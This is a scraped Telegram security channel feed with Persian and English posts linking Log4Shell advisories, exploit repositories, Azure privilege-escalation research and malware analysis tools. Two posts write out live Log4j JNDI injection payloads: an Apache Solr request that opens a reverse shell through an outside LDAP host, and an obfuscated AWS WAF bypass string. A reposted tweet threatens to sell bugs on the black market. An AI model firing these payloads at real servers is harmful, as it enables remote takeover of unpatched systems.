NEW BOT Телеграм, страница - 607038232

Security Analysis

11.5K subscribers

344 photos

50 videos

36 files

885 links

- Offensive Security (Red Teaming / PenTesting)
- BlueTeam (OperationSec, TreatHunting, DFIR)
- Reverse Engineering / Malware Analysis
- Web Security
- Cryptography
- Steganography
- Forensics
Contact : @DrPwner

Download Telegram

About

Blog

Apps

Platform

Security Analysis

11.5K subscribers

Security Analysis

⭕️این #whitepaper مربوط به اکسپلویت شدن اوبونتو هست که توی مسابقات pwn2own انجام شد و هنوز روی نسخه Ubuntu Desktop 20.10 هم جواب میده با وجود اینکه آپدیت هم اومده واسش.
پ ن : همه مسابقات اوبونتو رو میارن وسط انگار ویندوز XP sp1 اکسپلویت میکنند :)
#ubuntu #linux #kernelexp #binexp
@securation

👍1

1.99K views14:59

Security Analysis

A browser security model.

#sop
@securation

2.09K views12:02

Security Analysis

⭕️ آسیب پذیری جدید روی Log4j اومده بود که با شماره CVE-2021-44228 ثبت شده هنوز خیلی جاها آسیب پذیر هستند.
شما میتونید با استفاده از اسکریپتی که به Template اسکنر Nuclei اضافه شده تارگت های مورد نظر رو بررسی کنید.

منابع :‌
https://github.com/advisories/GHSA-jfh8-c2jp-5v3q

#bugbounty #pentest #Log4j #security
@securation

3.4K views09:23

Security Analysis

apache solr EXP #log4j

/solr/admin/collections?action=${jndi:ldap://xxx/Basic/ReverseShell/ip/9999}&wt=json

#log4j #apache #exploit
@securation

1.98K views10:41

Security Analysis

https://twitter.com/1rpwn/status/1471026229297963013

در ورژن 2.15 #log4j یک #CVE جدید کشف شد:))) این بار بجای #log4shell ما #log4dos داریم که روی تارگت میخوره :) باید به ورژن 2.16 آپدیت کنید یا #jndi رو کلا غیر فعال کنید. cve.org/CVERecord?id=C… zdnet.com/article/second… #hack #log4j #bugbounty #redteam #pentest…

1.78K views07:56

Security Analysis

https://www.dragos.com/blog/industry-news/implications-of-log4j-vulnerability-for-ot-networks/

Dragos | Industrial (ICS/OT) Cyber Security

Vulnerability for Operational Technology (OT) Networks

Understand the impact of the zero-day remote code execution (RCE) vulnerability, CVE-2021-44228, affecting Apache Log4j to Operational Technology (OT) networks.

1.78K views11:56

Security Analysis

https://googleprojectzero.blogspot.com/2021/12/a-deep-dive-into-nso-zero-click.html

projectzero.google

A deep dive into an NSO zero-click iMessage exploit: Remote Code Execution - Project Zero

Posted by Ian Beer & Samuel Groß of Google Project Zero We want to thank Citizen Lab for sharing a sample of the FORCEDENTRY exploit with us, and...

1.66K views15:47

Security Analysis

⭕️ سلام JNDI هستم :|
#fun #log4j #jndi
@securation

1.72K views20:15

Security Analysis

https://ics-cert.kaspersky.com/reports/2021/12/16/pseudomanuscrypt-a-mass-scale-spyware-attack-campaign/

Kaspersky ICS CERT | Kaspersky Industrial Control Systems Cyber Emergency Response Team

PseudoManuscrypt: a mass-scale spyware attack campaign | Kaspersky ICS CERT

Kaspersky products blocked PseudoManuscrypt on more than 35,000 computers in 195 countries of the world. Targets of attacks include a significant number of industrial and government organizations, including enterprises in the military-industrial complex and…

1.68K views20:40

Security Analysis

⭕️CVE-2021-42287 / CVE-2021-42278: impersonate DA from standard domain user

Scanner and exploit in C # :
https://github.com/cube0x0/noPac

Python exploit for kali :
https://github.com/WazeHell/sam-the-admin

#exploit #git #pentest #redteam
@securation

GitHub - cube0x0/noPac: CVE-2021-42287/CVE-2021-42278 Scanner & Exploiter.

CVE-2021-42287/CVE-2021-42278 Scanner & Exploiter. - cube0x0/noPac

1.76K views06:08

Security Analysis

⭕️ Previous AWS WAF bypass is patched.. here is another:

${jnd${123%25ff:-${123%25ff:-i:}}ldap://mydogsbutt.com:1389/o}

#jndi #log4j #exploit #bypass
@securation

1.71K views08:37

Security Analysis

⭕️ مجموعه ای از wordlists و دستوراتی برای FFUF و template هایی برای nuclei که در بایپس ارور های 403 بکار برده میشه رو اینجا میتونید استفاده کنید.

https://github.com/aufzayed/bugbounty/tree/main/403-bypass
#bugbounty #cybersecurity #infosec #wordlists #403bypass #hack #ffuf #fuzzing #web
@securation

bugbounty/403-bypass at main · aufzayed/bugbounty

Bugbounty Resources. Contribute to aufzayed/bugbounty development by creating an account on GitHub.

👍1

3.25K views16:32

Security Analysis

⭕️ Log4j mindmap

#log4j #infosec
@securation

1.78K views17:03

Security Analysis

⭕️Azure Privilege Escalation via Azure API Permissions Abuse

How Azure API Permissions can be abused to escalate to Global Admin.

https://posts.specterops.io/azure-privilege-escalation-via-azure-api-permissions-abuse-74aee1006f48

#azure #cloud #privsec
@securation

1.74K views08:33

Security Analysis

https://www.youtube.com/watch?v=w2F67LbEtnk

Log4j Vulnerability (Log4Shell) Explained // CVE-2021-44228

Let's try to make sense of the Log4j vulnerability called Log4Shell. First we look at the Log4j features and JNDI, and then we explore the history of the recent log4shell vulnerability. This is part 1 of a two part series into log4j.

Log4j Issues:
2013:…

1.85K views08:53

Security Analysis

https://cert-portal.siemens.com/productcert/pdf/ssa-661247.pdf

1.78K views16:17

Security Analysis

⭕️ List of open source tools for AWS security: defensive, offensive, auditing, DFIR, etc.

https://github.com/toniblyx/my-arsenal-of-aws-security-tools/
#security #audit #AWS
@securation

GitHub - toniblyx/my-arsenal-of-aws-security-tools: List of open source tools for AWS security: defensive, offensive, auditing…

List of open source tools for AWS security: defensive, offensive, auditing, DFIR, etc. - toniblyx/my-arsenal-of-aws-security-tools

1.84K viewsedited 10:38

Security Analysis

In this video I would like to showcase another challenge from Snyk capture the flag event that was going on from October 5th to October 7th of 2021. My video showcase #premieres at 9:00 PM IRST (12 PM EST)

https://youtu.be/xCdqK84bngg

Steganography Challenges (2/4)

This is the second episode of the Steganography challenges video series.In this video I would like to showcase another challenge from SNYK capture the flag e...

1.89K views11:09

Security Analysis

⭕️ نسخه جدید systemd منتشر شد.

تغییرات خیلی خوبی در زمینه امنیت داشته پشتیبانی از credentialهای رمزنگاری شده و authenticated .
هماهنگی بیشتر با پارتیشن های رمز شده و پشتیبانی از TPM2/FIDO2/PKCS11 .
استفاده از libgcrypt به جای OpenSSL .
امکان محدود سازی Network Interface ها و محدود کردن FileSystems سرویس ها با BPF LSM

توضیحات بیشتر رو اینجا بخونید :
https://github.com/systemd/systemd/releases/tag/v250
#systemd #security #hardening
@securation

System and Service Manager. systemd has 34 repositories available. Follow their code on GitHub.

9.84K viewsedited 11:22

Security Analysis

https://twitter.com/1rpwn/status/1474699501575327745

Microsoft fixes the vulnerability. did not give an Bounty Anything that is discovered next time, i will sell to ZDI/Black Market @msftsecresponse @msftsecurity

1.71K views11:15

Security Analysis

⭕️ IoT Malware Similarity Analysis Platform

https://umay.xyz/
https://github.com/mucoze/Umay

#IOT #Malware #platform
@securation

GitHub - mucoze/Umay: IoT Malware Similarity Analysis Platform

IoT Malware Similarity Analysis Platform. Contribute to mucoze/Umay development by creating an account on GitHub.

2.11K viewsedited 12:29